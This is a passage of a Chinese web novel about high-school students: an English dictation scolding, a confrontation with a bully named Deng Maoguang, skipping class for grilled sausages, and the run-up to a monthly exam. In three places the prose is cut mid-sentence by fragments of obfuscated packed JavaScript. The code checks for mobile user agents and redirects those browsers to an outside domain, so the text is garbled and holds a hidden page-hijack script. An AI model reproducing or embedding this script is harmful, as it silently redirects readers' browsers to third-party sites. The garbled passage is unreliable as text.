【不识好人丁:今下午我蹲厕所拉屎时,没拉利索,都上课十几分钟了才擦屁股。妈的长了痔疮是真的烦……跑题了,不好意思。反正疼得我在厕所里上蹿下跳时,你猜怎么着?】 【不识好人丁:我靠啊,隔壁来人了,就之前染了个大便黄、戴了个玉米粒链子的邓茂光。我听他在打电话,好像在说你的事儿。不是偷听啊,他声音太大了,我也没办法。嗯,反正我觉得,他那张破嘴,除了喷粪,没别的了。你小心点儿,易哥,小弟我愿舍我痔疮之命,换你一生平安!!】 最后还配了张strong猫哥单腿向前、手臂打圈、优雅鞠躬的动图。 视线落在“邓茂光”三字上时,易承沉了许久,眼里溢出些平日里少有的神色,冷漠而轻蔑。 像是看那些畏罪潜逃四五十年、快入土时才被捕获到的“老人家”。 半晌后,他点出键盘,回复:“代我跟你的痔疮说声‘谢谢’。” 还没等他退出界面,那头消息立马跳进来。 【不识好人丁:……】 【不识好人丁:…………】 【不识好人丁:……………………】 【不识好人丁:易哥,有句话怎么说来着。我在这头殚精竭虑,你在那头处心积虑。我靠啊,以后再也不会错褒贬意的题了。】 易承呵笑了声,发了个“别熬死了。”就退出聊天框。 陈慢也给他发了个消息。 【慢即是快(为人民服务版):易哥,我是真的惨啊。月考的消息一放出,班上人的蔫儿一半。你心态比较好,关键时候就靠你了!考不考虑报个项目什么的?报了项目,收获多巴胺,收获多重快乐,何乐而不为呢!还有,只要你一声令下,剩下的我都安排好。没有搭档也没关系,包分配的;没有实力也没关系的,包教会的;没有时间也没关系的,包速决的。只要你来,刀山火海,我替你闯!来吧,来吧,来吧~~~】 “……”易承手往后抵着书桌,想了想下周的任务量,“舍身”应下,他发出消息:“行。” 没嫌烦地回完消息,他手指一错,点开了个聊天框。 上面直白简短的备注着人的名字:许桑。 或许来了兴致,易承翻了翻他的“主页”,昵称:桑榆。 头像放大后,还挺唯美:泛着金光、折着秋色的落叶群里,立着朵洁白如雪的山茶花。 他顺势点开朋友圈,是少年人、尤其是中二期少年里多见不怪的“近半年可见”,唯一可见的那条,是一张照片。 画面散乱,光怪陆离。 各式各样的酒瓶林立,酒液半满的不规则透明酒杯,映射出明暗混杂的彩色光波。而图片左下角,一只手轻点酒杯,玉色的指节细长,上面落着迷蒙零乱的光影。 配字很简短:“差点就醉了。” 卧室里的窗帘,拉得实实的,大概是怕哪个贼蠢到爬窗户缝,干脆“救人一命,胜造七级浮屠”。 易承给手机充上电,坐上床,伸手拽开窗帘。 今夜月色还行,能从楼缝里窥得一丝来自天空的“亮度”。 他推开防蚊的纱窗,掩紧实窗免得漏风,正欲拉上帘子,视野里,突兀地跳进一窗的灯火明亮。 应是开的台灯,亮度深浅分明,光线丝毫不完整,还从屋内、在窗上,映出一个模糊的黑影。 他看了两秒,没印象对房里住的有人。 新来的? 清晨的第一抹光探向大地时,南城附中的门口陆陆续续涌进两轮三轮四轮车。 销魂的包子味,毫不避讳地展示着韭菜味儿的刺鼻、酱肉味儿的油腻、白菜味儿的惨淡、四季豆味儿的清香、大杂烩味儿的富裕、闻不出来味儿的神秘,推车主人在热气腾腾里吆喝: “好吃的包子嘞!刚出炉的包子嘞!菜包一元一个,肉包两元一个!” 挂着放眼全国都响亮的“土家酱香饼”招牌,大娘打着花扇给饼散着香气,“吃酱香饼不?包香的!” 还有什么豆浆油条、皮蛋瘦肉螃蟹王八黑米紫米糯米绿豆红豆粥、煎饼卷饼、三明治牛奶……一大堆,一家比一家名声响亮。 有几家,就差拿个台风级“风扇”来散味,保证勾得附近楼里睡成死猪的学生都馋得“诈尸”! 许桑到时,正是商家间竞争最激烈的时候。 南城附中寻址时,校领导可能有点儿心机,专挑了一块并不发达的地方——遍地荒凉,还面朝大河。 十几年前,河流比较猖狂,又为满足什么发展需要,这带架上桥,还修了个什么湿地公园,没有什么特别的景点项目,就喂蚊子的“河边漫步”罢了。 布局也因此潜移默化地变更了: 南城附中校门口,只余留下一条弯弯曲曲的路,宽度还行,再前些,种了些花花草草、不结果的树,再往前些,便是斜着向下、直通大河的浅草斜坡。 早餐“车”们这么一占位,必经之路被堵截得就剩条缝儿了。 在人流中艰难走步,许桑勾上口罩戴上帽子,没让油气顺着风糊在脸上。 “喝杯豆浆吧,刚榨的,比牛奶新鲜多了!” “甭听他乱说,科技赋能的牛奶,新鲜又好喝!他家豆浆机,比王八还老,新鲜个毛啊!” “都别听他俩说了,我家的粥,早上现做、封装,真实还原鲜香,而且,还配吸管!就跟喝奶茶一样爽!” “哎哟,喝奶茶,爽爽爽,配酱香饼更爽!来点儿吧,有嚼劲、入口即化,保证吃上一口终身难忘!” ……原来,“知识以一种极为歹毒的方式进入了脑子”,是这种感觉。 许桑尽量快速地穿梭过人群,看清校门口时,松了口气。 昨天跳跳喳喳疏散人流的保安徐贵,今天双手背在身后,站在门口四十五度仰望天空,眼里写满了忧郁。 思考人生,还是馋几步外的酱香饼? 客观些,从他不停咂吧的嘴皮子间得出结论:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069705|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 难说。 提前半小时到教室,许桑手动开灯,趁着“四感”刚被熏精神,他继续做数学习题册。 数学这东西,或许比语英更适合早上学。 因为所谓早上记忆好,应至少是建立在“早上人是清醒”的基础之上,而综观各中学,又有多少学生大清早上脑子是清醒的呢? 陆陆续续,教室里的空位被人填满。 陈慢到教室后,放下书包就直奔讲台,擦干净黑板,收拾明白讲台,抽出根儿粉笔,把昨天收集到的“早读任务”誊抄到黑板上。 “英语早读:背单词,背课文,准备第六单元听写。” 写完,他又热心地开了饮水机,把值日生安排好,催劳动委员安排打扫工作……一切忙完,赶在早读前五分钟,庄严地举起戒尺,往讲台中间使劲一敲,砸出声脆响,大着嗓门吼道:“早读了,早读了!” 底下人抹完鼻涕泡薅头发,总要磨蹭个几分钟才翻出被晾在一边儿的书,用微弱的语调开始朗读背诵。 而唯一的刺激源,恐怕只有某个举着拖把焦急跑进来的人,吼一嗓子——“老徐来了!” 人群才会唧唧哇哇起来,还颇为大声! 许桑算完题,翻开那两页要听写的英文单词,从头到尾扫完一遍,就合上了书。 余光要盯易承,没盯到人,却把许桑这一系列动作收入眼底的吕丁,震惊地转过身来,“你背完了?” “什么?”许桑抬头,不解。 只转一半身子,不太舒服,吕丁索性把腿挪到两椅子中间,整个身子转过来,“就今天要听写的英语单词,你背完了?” 许桑“嗯”了一声,严谨:“没背。” “啊?”吕丁疑惑,“什么叫没背但背完了。” 没等许桑回话,赵鸿途故作深沉地转过身,推推眼镜腿儿,“蠢货,很明显人家早记住了,确认一下要听写哪些单词而已。” “这么牛逼。”吕丁瞳孔地震:这速度……望向许桑时恨不能双膝下跪以示尊敬,“真的吗?” 许桑淡淡:“嗯。” “我靠!”吕丁还想发表什么惊世骇俗的言论,无意从后门对着的白色墙砖里看出一个人的轮廓,吓得立马缩回腿,乖乖坐直。 可还是没关住嘴,在仓促立起来的英语书里,向同桌传着悄悄话,“你是怎么知道的?” 赵鸿途闭着嘴,专业腹语:“之前易哥说的。” “易——” 话还没传出来,一巴掌就拍在了头上,跟平底锅扣头顶一个感觉: 一瞬间,脑子顶又平又方。 吕丁被拍懵了,刚想飙脏话,徐富就慈眉善目地弯下身,“书拿反了。” “……!”吕丁浑身一抖,连忙给书翻了个面儿,他脑子灵光,嘴硬:“徐老师,我背好了,这是在检测!” “这么快就背完了啊?”徐富不消看都能探明他话里的端倪,一把抽过书,随便挑了个长单词,拼读道:“bureaucratic,什么意思?” 吕丁皱眉:“不锐欧壳锐壳提克”? 旁边的赵鸿途连忙会意,开始大声朗读:“thorough,彻底的,周密的;bureaucratic,官僚的,官僚政治的。in……” 吕丁又皱眉:? 他妈两个人,两个发音! 吕丁感觉自己在玩“找相同”游戏的最后一关,头皮揪麻了半天都没找出什么交集。 交集?数学集合的知识。 靠,我还记得这个呢,牛逼啊。 徐富看着他苦笑俱有、变化莫测的脸,无奈:“站后边儿去!坐边上儿提醒都能给出干扰选项,赵鸿途,你也给我站后边儿去!成事不足,败事有余。” “……”赵鸿途放下书,垂下头,态度极其端正地反省,不料动作太大,眼镜腿一滑溜,挂在了鼻子上。 “噗……哈!”吕丁看完全程,憋得鼻涕跟着笑声一同“喷”出来。 徐富背过手转过身,黑着脸,“吕丁,这么爱笑,下回谁过生日找你当笑星,笑不出来就跳舞唱歌助兴!” 玩笑最怕一脸严肃的人开,一教室的人捧着书抖成筛子,笑得合不拢嘴。 角落里的英语课代表自我安慰:“多好啊,大家一起背gagging…” 11. 第11章 早读结束后,有短暂的五分钟激情宣誓时间,由鲜明红色环节“诵读二十四字社会主义核心价值观”改编而来。 但老徐嫌吵耳朵,所以没有领导时,理一班不搞这一项,就继续读背,等任课老师来。 “Goodmorning,everyone!”铃声刚过,李慧娇踏着双毛绒绒的拖鞋,披着栗棕色头发,站讲台上打了个招呼。 许桑落笔,抬头看了眼人。 朴素的红绿睡衣,倒是有力打破了“英语老师时尚女人”的魔咒。 “Goodmorning,teacher.” 李慧娇喜欢露齿笑,为了凑齐八颗牙,嘴角勾出去的弧度总是很大,牵着鼻侧的法令纹愈发深厚,她看了眼科代表,就低头开始撕手上的倒刺,指皮掉了一小片,她忙低头对着手指头吹气,闲下来才说道: “行吧,书收下去,桌子腾干净。课代表发单子,马上开始默写。” “啊?这么快,我才开始就已经结束了吗……” “哦豁!同学,你坐直一点儿,不然挡不住我。” “那个单词什么意思来着?我先看一眼,别急啊别急!” 默写单从第一排飞速往后传,到最后一排时,许桑刚伸手去接,纸张就凌空被取了过去。 而后,身旁空着的椅子上,轻松逃过老师视线的易承稳当当落座。 “早上好啊。” 应该是跑上楼的,他说话时气有些喘。 许桑默默收回手,看着他一把握住的默写纸,眼里溢出一丝不快,“不太好。” “嗯?”易承随便摸了一张,把剩下的递给他,从头到尾快速浏览完“奇形怪状”的单词群,偏头看向他,触及到这双自带攻击性、偏还染了躁意的眼,微顿:“要我哄你吗?” “……”许桑指尖捻住默写纸,收回视线。 易承轻笑了声,从桌肚里摸出只笔,笔法夸张地签上大名,结果一竖还没拉完,墨水就告罄了:“……” 他放下笔,低头看了眼。 桌肚里书塞得多,只留出一只手的空隙,用来放笔和橡皮。 半年不见,还真是“天翻地覆慨而慷”……此刻,除了一根烂尾没墨的笔芯,半根断头了的笔套,一只没了铅芯的2B,就只有一支墨水余量堪忧的红笔。 印象里,李?英语老师脾气还行,应该不会主观认为: 用红笔默写,是在她头上造次…… “差不多了,第一排的下去收上来。”李慧娇撕完倒刺,两腿重心换了下,就开始到处扫视。 “李文彤,再看?眼睛都要长别人纸上去了!” “倒数第二排的那两个,我都不想说,你们两个头再凑近点儿!” “第一排的快点儿,交不出来的直接登名字算没过,等在那干嘛?小心我认你帮凶,都来重写算了!收张纸像毛毛虫一样,慢得要死,看得我心烦。” 她在上面喋喋不休,好不容易等到有第一排收齐了默写纸,两腿重心又是一换,她开始一张一张翻着看。 看了几张就开始冷笑,“有些单词,我天天讲,你们还天天错,也是能耐。吕丁,上讲台上来!” 吕丁突然被喊道,立刻挺直了四肢,往后怼开板凳站直。 许桑刚摊开一张新猎到的英语试卷,粗略看完文章,笔尖正欲勾出31题答案“D”,桌子就被猛地一磕,前桌的椅背死死卡上他桌,震得这一笔画直接划成了潇洒不羁的“C”。 他轻顿:“……” 被点个名而已,至于吗? 吕丁还没缓过劲儿,在赵鸿途的提醒下,满眼错愣地,迈着机器步上了讲台,“李老师。” “来,毁灭是哪个单词?我不要你说,写黑板上。下面的人别一副事不关己高高挂起的样子,等会要是看不出个所以然来,有的你受。” 易承转了圈笔,转完才发现红笔漏墨,指尖连到虎口染了一片,他“啧”了一声,往旁边靠了些,“同桌,有纸吗?” 许桑眼睁睁看着吕丁写下“destory”,闻声从兜里捞出包卫生纸,“一张十元。” “谢——”易承嘴比脑子先跑一步,听完,不禁笑了,“有点儿黑心了啊。” 许桑眼神凉薄:“爱要不要。” “要,要。”易承双手接过那包纸,抽出一张,擦着指尖有些干了的红墨水。 “站讲台旁边儿去,我再找一个。”李慧娇回头看了眼就开始冷笑,翻到第一大组的最后一张,眉头紧紧一皱,“易……易承,你用红笔写,我用什么批,啊?我问你。” 易承起身,深思熟虑后回答:“黑笔。” 他话一落,教室里的人跟老鼠啃大米一样,闹起一片40%偷摸性质的呵笑声——“咯咯咯kiakiakia……” 许桑刚好做完D篇阅读,余光瞥见他惯常带笑的脸,忽地没了继续做的意思。 “……”李慧娇一时没挑出这话的毛病,但听着这话总不对味儿,便丝滑转移了怒火的靶子,“嘴挺溜啊。你也上来,和吕丁一样,写‘毁灭’的英文。” “嗯?” 易承没从刚才单子上的单词里分出谁是“毁灭”,抬头看清吕丁写的歪七扭八的单词,明白了所谓“易错点”。 他周身痞气,腿又长,走起路来带风,上讲台就十几步路,却走出百米长廊的气势,引起过道两侧一阵“叽叽喳喳”。 “不愧是曾经靠‘妖颜惑众’风靡学校的人,易哥帅啊!”吕丁跟个迷妹一样,半个背躺在饮水机上,眼里冒星星。 易承瞥了他一眼,从讲台上四四方方的盒子里抽出白色粉笔,照着旁边的模板,潇洒写下:“destroy.” 李慧娇眉毛一皱,转过身来看着白色粉笔字:“易承,你是要上天吗?” “嗯?暂时没这个想法。”易承特地晃下了讲台,乖顺地看着她。 “我…”李慧娇一口气差点儿没顺溜,“你是学生,不是艺术家,我更不是鉴定师。写几个英文字母都写成抽象派了!” 易承笑笑不说话,向一侧挪了半步,侧身时直朝教室后看去,正巧对上许桑望来的眼。 “……”许桑错开视线。 “行了,念在单词至少写对了,下去坐着好生听课,还有,下不为例,没笔找同学借,别再拿红笔做作业,不然我真拿黑笔批,到时候年级不认成绩,你哭都来不及!” “好的,老师。” 吕丁看着他易哥洋洋洒洒下了讲台,还正大光明地顺走一根粉笔,歪了歪脑袋,“不都写的一样吗?偏见,一定是偏见。” “偏个屁的见!”李慧娇抽出戒尺,走过来,“先打了再说。” “老师~我……嗷!!嗷!!” 两板子落下,人叫苦不迭,嚎得死去活来。 李慧娇满眼恐惧地收回手:她拿的是戒尺,不是狼牙棒吧! “看好了,destroy还是destory,我都讲几百遍了,还是没听进去,回去罚抄100遍,明天上课前交过来!” “……是,老师。”吕丁憋着惨,垂头丧气地回到座位。 大叹气:“太累了,玩完‘找相同’玩‘找不同’,还都他妈自证是游戏黑洞!” 一早上尽在笑声里过去,下课铃打响,笑累了的人名正言顺地趴下,休息腮帮子。 半分钟没到,教室里倒了一大片。 许桑回顾完课堂笔记,没多少有效信息,就两个语法知识和几个地道的表达。 他起身,还没走就被呼住。 “许桑,你去厕所吗?”吕丁欲盖弥彰地往校裤兜里塞着东西,歪着嘴笑。 许桑顿住:“嗯。” “等我,我也去!”吕丁像八爪鱼一样捣腾着两条腿,溜出座位,刚想行使哥们姿势——勾肩搭背,就对上他清淡如雪的眼,咽了口口水,默默收回手,看向一旁,“易哥,去不去?” 易承看了眼许桑,眉眼带笑,“去。” 三人刚走出门,赵鸿途抽本书把刚做出答案的试卷盖上,两手托紧眼镜底,迈出飞毛腿,旋了出去,“等等我!我也去!” 四楼男厕。 解决完,许桑立在洗手台边,手拧开水龙头。 这一刻,学校修建年纪暴露得很分明,设施老旧得像上世纪的。 水零星漏出,“突突”了半天才喷出两滴,他无奈地撑着台子,等它至少出现个水流形态。 水顺利流出个细小的“柱状”时,他伸手。 只是,还没碰到水流,身侧突然站过来一人,丝毫没有分寸感地把双手伸到水龙头下,指缝夹指根, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“易承?!你怎么在这儿……”邓茂光顿时慌了神,“你要敢打我,我就去找老师,告你校园霸凌!” “……”易承顿了下,“改行演员了?” 还没等邓茂光落下狠话,厕所里,抱着手机大杀四方的吕丁单脚蹦了出来,赵鸿途缀在他身后,两张脸恶狠狠的,像是动画片里发威的上古神兽。 “蹲坑都蹲不安宁,小小邓,你居然敢欺负我们许桑同学,活得不耐烦了!”吕丁藏好手机,双手叉腰。 “小小邓什么鬼?”赵鸿途自诩“好学生”,放不出什么狠话,想跟一句,结果没听懂同伙的话。 吕丁翻了个白眼,“爱称懂不懂?一般都这样关爱智障高中生。” “哦哦,小小邓,小小邓,小小邓……哈哈,小小邓,笑死我了,小小邓。”赵鸿途像发现新大陆一样,笑得前仰后合,像是下一秒就要以头抢地了。 “………”邓茂光听得头大,关键面前又立了两个比他高的,搞得他根本动弹不得。 耳里不断灌进羞辱,不敢还口,憋得他面红耳赤,无奈只得屈服:“老子现在没心情跟你们玩,有本事放学来后门,老子等着你们,谁不来谁孙子!!” 说完,屁股滑下洗手台,他拉开厚重的门,小碎步溜出去,又“砰”地一声锁上了。 一墙之隔,外面传出“哈哈哈”的猖狂笑声。 “神经啊。”易承按了下门把手,把门拉开。 学校厕所门,谁真设把锁啊? 校领导又不是傻,到时候追查逃课,一查全在厕所,逮到了学生还泪眼婆娑地说:“不知道谁锁了门,我也没办法啊。” 回教室的路上,许桑问道:“你们——” 易承笑着靠近他,“故意的,英雄救美,信吗?” “……”许桑拨开他的脑袋,“有毛病?” 易承笑容依旧挂着,只是,从吊儿郎当里恢复一丝正经,“先知彼,不然动手没立场。” 吕丁在一旁应和:“嗯嗯,而且这样有气势。邓茂光这人很烦,但又很蠢,不管做什么事情都是有迹可循的。怎么形容,就像上厕所,他脱了裤子,你就能猜到,下一步他要尿了。” “……”同行三人一起沉默着。 “什么嘛。”吕丁感觉三人看自己的眼神跟傻子无异,连忙解释道:“这是易哥说的啊,我只是引用,转述,懂不懂,quote!” 许桑别开眼,没压着笑。 都一群什么跟什么啊,像马戏团似的。 12. 第12章 不过,等走到理一班教室后门门口时,四人就笑不出来了。 教室里正在组织文言文挖空练习,除了笔尖摩擦卷面的声音,可以算是“静如死灰”了。 白晓莉蹬着她又高了两公分的鞋,双手背在身后,边用戒尺给自己捶着背,边走遍各个过道,把坐边上同学的答案都看了几眼。 除了发自肺腑的“呵”,她没有别的表意方式。 四人拐到门口时,白晓莉正从黑板报上抽开视线。 这一眼对视,何止“怨起”,直接引爆——就像被拔了线的手榴弹。 “我看看,这都上课多久了,现在九点整。哼,八点四十五上的课吧,一节课都要完了,还回来干什么?怎么不干脆直接把一节课玩通,啊?”白晓莉只要手拿戒尺,就像身穿战袍,气势永远高张,“说话!” 吕丁舍身上前挑起大梁,笑呵呵的,“白老师,我们拉肚子了,实在没办法!” “拉肚子?”白晓莉眉毛乱飞,“那还真是巧啊,一拉拉四个,怎么,昨晚组团去吃烧烤了吗?” 易承轻顿:烧烤? 吕丁讪讪一笑,“这您就不懂了。有缘千里来拉肚子……操,老师我这嘴没长脑子,啊呸,我说话没带脑子……我们甘愿受罚。” 易承在旁边胡说八道:“嗯,您说得对,‘知错能改,善莫大焉’,我们谨遵您的教诲。” 白晓莉鼓起眼睛,一一扫过四人,非常不快,但又没什么实质性能消火的惩罚,便只能“劣中选优”,“行,甘愿受罚是吧,站外面,这节课别进来了!” 吕丁往下鞠了个近180°的躬:“好的,老师。” 等白晓莉优雅地巡逻进教室,四人靠墙排排站,一时无言以说。 半分钟后,吕丁软了骨头,从墙上滑坐到地上,“太爽了吧,又逃一节课。” 许桑看了他一眼,“爽?” “对啊,很爽。”吕丁放低声音,“你不觉得白老母每次讲课,比安眠药还助眠吗?而且吧,天天除了默写就是听写,翻来覆去都是那些文章,倒来倒去都是那些提醒……事实呢,默写题好像只占了150分卷面的6分吧。” 许桑“嗯”了声,他这话也不无道理。 纯粹性的叠加默写,性价比是低了些。 易承枕着双手闭眼靠墙休憩,语气随意:“今天天气还不错,挺适合晒太阳。” 教学楼偏走廊一侧,面朝敞亮的天空,此时灿黄的光线柔和和垂下,像是绝世佳人披散开的发,发丝软,带着阳光的味道,轻轻撩过肌肤。 整个人都包裹在温暖之下,如同裹在蚕丝被里,被包得暖暖的。 吕丁跟着点点头,“天气确实好……诶!要不,看还有二十多分钟下课,我们要不要去干些快乐的事情?” “好啊。”赵鸿途推了推眼镜,“劳逸结合,才是学习的最好方法。” 易承睁眼,被阳光暖了一道,声音也跟着和气起来,“行。同桌呢?” 许桑偏头看他,“可以。” “OKOK,现在,请追随吕大导游的步伐。前方目的地,南城附中小卖部,号称‘附中学生的天堂’。”吕丁单手握拳,在空中晃了晃,“这里,途径一块青草地,有最清新的空气,偶尔还能听到鸟鸣,是最畅快的休闲场地。” 他在前面手舞足蹈,“再往前走,就是我们的目的地了。小卖部,普通名字之下,是性价比极高的五彩缤纷。在小卖部,无论是学习上,生活上,只要你有需求,这里均可满足……” 许桑跟易承并肩走着,赵鸿途在一旁小声地背单词。 “阿姨,来四根烤肠!”吕丁饭卡一挥,拍在了刷卡机上。 “四根儿?”胖姨夹着烤台上的肠,眼皮都没抬一下,“这个点儿,老娘一根儿都不敢卖!” 猜到些原由,易承信口胡诌:“我们体育课,自由活动。” “这样啊。”胖姨看了易承一眼,觉得面熟,但回忆不起更具体的名姓,只是这双眉眼,满满少年气,任随便一把老骨头看了,都想原地来一套“本草纲目”,舒活筋骨,“姨这就夹给你们。” “谢谢。”四人齐声应道。 “还怪有礼貌哩。”胖姨抽出签子,边夹边说,“上周年级主任接二连三来跟我谈话,说什么上课期间来买东买西的,全是逃课学生,一样不卖,卖了也要收回来……说什么,逃课这种行为,不是好行为。要是我还卖烤肠,就是助纣为虐。” “这助什么纣?”吕丁斯哈流着口水上前,接过热乎乎的烤肠。 一口咬下去,没断,内里的滚烫瞬间扒在舌尖,飞速蔓延到整个口腔内,他白眼一翻,被烫得全身原地摩擦空气。 “……”许桑将刚买的水递过去。 吕丁人跟冒烟了一样,熟了半天才摆摆手,“不用不用,一根小肠,不要命的!” 许桑收手:“行。” 胖姨哈哈放声大笑两声,手里夹着的肠跟着上下颠抖,赵鸿途接了四五六七八下才堪堪接过。 咬到烤肠时,赵鸿途也吐了两口热气:“好烫好烫……” “心急吃不了热豆腐,真是一群孩子,心急得很。”胖姨给剩下的翻了个面,摇着头继续说: “他们说,逃课学生嘛,该受罚对不对?要是我送上烤肠,叫什么,满足味蕾,不是帮凶是什么……我真服了你们领导的脑子,一手交钱一手交货的事,老娘又不是卖的毒.品,还帮凶,一群没脑子的东西。” “姨。”吕丁吓得肠都差点儿飞了,忙说道,“这话可不兴说。” “管他兴不兴的,警察来了我也这么说,一个字儿都不改!” “阿姨威武!” “叫什么姨,又俗又老,现在流行叫什么,叫姐!”说出沉积了几天的不快,胖姨越发亢奋,夹起新起泡的一根儿,递给许桑时,都还手舞足蹈。 “……谢谢姨、姐。”许桑勉强回道。 “诶!”胖姨笑得花枝乱颤。 香气飘着,签子底端在手心里捏了有一阵,许桑最终还是没吃,隔了两秒,索性递给一旁的易承。 易承有些意外,伸手接过时,压低声音问道:“怎么了?” 许桑摇头,“吃不下。”太油了。 等易承接过本应属于自己的那根时,他一手拿一根,转身分别交给两人,道:“还吃吗?” “你们不吃吗?”话虽如此,吕丁还是屁颠屁颠上去捞了一根,“炫”进嘴里前给了人两秒后悔时间。 “嗯。”易承把另一根塞到赵鸿途手里,随口:“饱的,塞不下。” “早上吃什么把胃口给压实了?”吕丁摇晃着上半身,吃得津津有味,偏头见赵鸿途没吃,眼巴巴望着,然后顺当地薅来,“下次也可以多吃点儿,我胃口大,不容易塞满,嘿嘿!” 回到教室时,吕丁所走之处,飘满了浓郁的烤肠味儿。 偏偏今天轮到他当值日生,拿着板擦在教室里前前后后转悠,熏得半间教室充盈了诱人的香气。 “又是谁在教室里吃东西?”徐富用胳肢窝夹着课本进来时,跟被这味道扇了一巴掌似的,往后退了一大步,习惯了些后,睿智的眼扫过教室两端,“下次被我逮到,给全班一人买一样!” “wu呼~” 学生时代,最稀奇的就是“飞来之食”。虽然知道老徐只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069707|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说说而已,但学生嘛,脑子那么直溜,除了高兴,哪有空闲管真的假的。 于是,返祖一样,教室里一阵牛鬼蛇神乱叫唤。 吕丁绷直了背,往后靠,“嘶,刚跟老徐对视了,吓得我冷汗直冒,你俩是不是故意的?他妈三根,都给我吃出行走的烤肠味了。” 许桑平淡:“不是。” 易承从桌肚里掏出本书,看着封面,道:“有意的,行了吧?”他看着这页纸上张狂的两笔字迹,半年前写下的名字,还挺漂亮。 顿了两秒,他才把没说完的话说道:“跟有被害妄想症一样……” “易哥!”吕丁鼓起脸,正欲全力反击,时刻站岗的那只眼警铃大作,他连忙侧过来脸去,呲着牙看向黑板。 “还有两分钟下课,我就不讲题了,说说明天的月考。”徐富把椅子推开,双手放在讲台上,悠然坐下。 “明天?时间怎么背着我就跑了,我以为今天才周一呢。” “妈呀,我不想考试,怎么天天要来伤害我,我还是个孩子啊!” “给我瞌睡都吓没了,老徐真牛逼!” 易承坐姿相当随意,头靠着一旁的墙,闻声抬了下眼皮,眼里闪过些迷茫——挺陌生的感觉。 “真是群孩子啊,明天是考试又不是行刑,瞧给吓成什么样了。”徐富扶额,“我还没说下下下周的期中考请家长呢,就这点抗压力,简直没出息,以后出门别说是我班学生,我丢不起这人!” “什么?下下周期中考,还要请家长?” “哦,哦~以后出门别说是我班学生,难怪说老徐被叫老师要应激,原来……徐老师~” “徐老师,徐老师!!” 徐富脑壳疼,伸手拍了拍讲台,“安静,安静,学生真是一代比一代麻烦,带娃一样!离开我,谁还把你们当小孩?” “……噗哈哈哈哈哈哈!” “靠啊,老徐也抽象了,短视频刷多了吧。” “离开我,谁还把你们当小孩~小孩~” 赶在下课铃打响前,徐富把教务处发的考试细则念了几条,最后还特令道: “明天按上次月考的排名排座位,没成绩的就往后排。晚上布置考场的时候,陈慢把座位情况贴在墙上,你们记得看,不然早上找不到座位,我可没心情帮你一间教室一间教室问哪有空位啊! “还有,2B铅笔带上,橡皮擦别买劣质的,上次有学生把答题卡都擦穿了、铅笔痕没掉一点儿;另外就是,别用修正带,涂改液这类东西,正式考试时,要算异样卷的,平时就要养成习惯,错了两笔叉掉就是,别老想着重来。人生尚且不可重来,就两个字儿,还想重来,字儿重要还是人重要……都记清楚了吗?” “清楚清楚,明白明白!” “不就是个月考吗?嘱咐这么详细,跟要高考了一样,慌死我!” “不是,我他妈怎么觉得像立遗嘱啊!哦,不对,没财产……” 等下课铃活跃地跳响,徐富抱着他的保温杯,迈着敦厚的步子,悠悠转回了办公室。 只留下躁动不安的一众。 吕丁转过身来,阴郁道:“老徐这话说得,跟我妈一样。鸡皮疙瘩都给我整出来了。” 许桑落笔,抬眼,问了个题外话,“你们月考题,任课老师出?” “是啊,一直都是。”赵鸿途一手把着3500单词本,回头,“但几乎没有原创,就在试题网上拼接呗,有时候难得要死,有时候水平真不咋地。” “嗯。”许桑应下,余光瞥见他同桌趴在手臂间,又睡下了,不禁疑惑: 睡美人吗他是,几乎没见人清醒过。 13. 第13章 “这次考试你慌不慌?”吕丁从抽屉里翻出笔袋,往后看了眼。 许桑检查了遍黑笔,“不慌。” “怎么做到的,我他妈慌得腿都在抖,感觉下一秒就要尿出来了。” “……”许桑语气平淡,想起前任班主任的话,照搬:“平时不做作业吗?当成作业就好。” 吕丁抹抹头,头发有些扎手,他嘀咕了句“早知剃成光的了”,回道:“感觉不一样啊,平时做错了,顶多是纸上多把红叉,但考试就不一样了,成绩受影响,名次受影响。全透明状态,跟有缺陷的人去满人的操场裸.奔没什么区别。” 许桑单肩背上书包,“……” 他这前桌,想法总是很清奇。 “…请监考员甲当众验示试题卷袋是否当堂考试科目,无疑后,沿塑封袋拆封口拆封,取出试题卷带,然后用小刀将试题题袋上端裁开,取出……” 南城附中考试铃声直接延用的上届高考铃声,唯一的变动就是有所裁减,时间间隙依据心情增加或缩短,拼接风格明显。 吕丁整理好工具,站起身,想到什么,连忙说:“你是不是在最后一个考场?” “是。” “行,不管会不会做,一定确保一件事情:别让别人看到你的答案!”吕丁敦敦嘱咐:“一定要有知识产权意识!不然,会有麻烦的!” 许桑起身,拿上水杯,“好。”说完,便离开了教室。 吕丁在原地转了个圈,抠了两道脑袋,“嘶,他身体里没有好奇因子吗?为什么不问我为什么……” 在教室门口扫了眼考号和座位,许桑错开走廊里眼睛只长在默写背记本上的人流,上了一楼,来到最后一个考场。 和楼下相比,画风迥异。 除了书,这里什么都能看见。 停在门口扫了眼考场号,他绕到后门,走到了最后一列倒数第二个位置上。 余光瞥到后桌贴着的名字和考号——“易承。” 大概同是缺考人,按首字母排的先后… 